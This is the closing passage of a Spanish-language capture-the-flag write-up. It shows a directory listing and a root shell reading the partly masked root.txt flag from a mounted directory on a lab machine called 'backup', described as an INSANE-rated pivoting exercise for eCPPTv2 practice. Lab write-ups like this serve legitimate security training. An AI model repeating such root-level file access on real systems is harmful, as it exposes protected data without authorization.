drwxr-xr-x 2 root root 4096 Jul 15 2018 srv
drwxr-xr-x 2 root root 4096 Jul 15 2018 sys
drwxrwxrwt 9 root root 4096 Jul 1 11:17 tmp
drwxr-xr-x 10 root root 4096 Jul 15 2018 usr
drwxr-xr-x 13 root root 4096 Jul 15 2018 var
lrwxrwxrwx 1 root root 30 Jul 16 2018 vmlinuz -> boot/vmlinuz-4.4.0-130-generic
lrwxrwxrwx 1 root root 30 Apr 20 2018 vmlinuz.old -> boot/vmlinuz-4.4.0-119-generic
Sacamos la Flag de `root.txt`
```bash
root@backup:/mnt/test# cd root
root@backup:/mnt/test/root# ls
root.txt
root@backup:/mnt/test/root# cat root.txt
50d0db644c8d5ff5312ef3d17xxxxxxx
root@backup:/mnt/test/root#
Esta Maquina me tenso el A… Maquina Rooteada =D Dificultad - INSANE - Pivoting de cara al eCPPTv2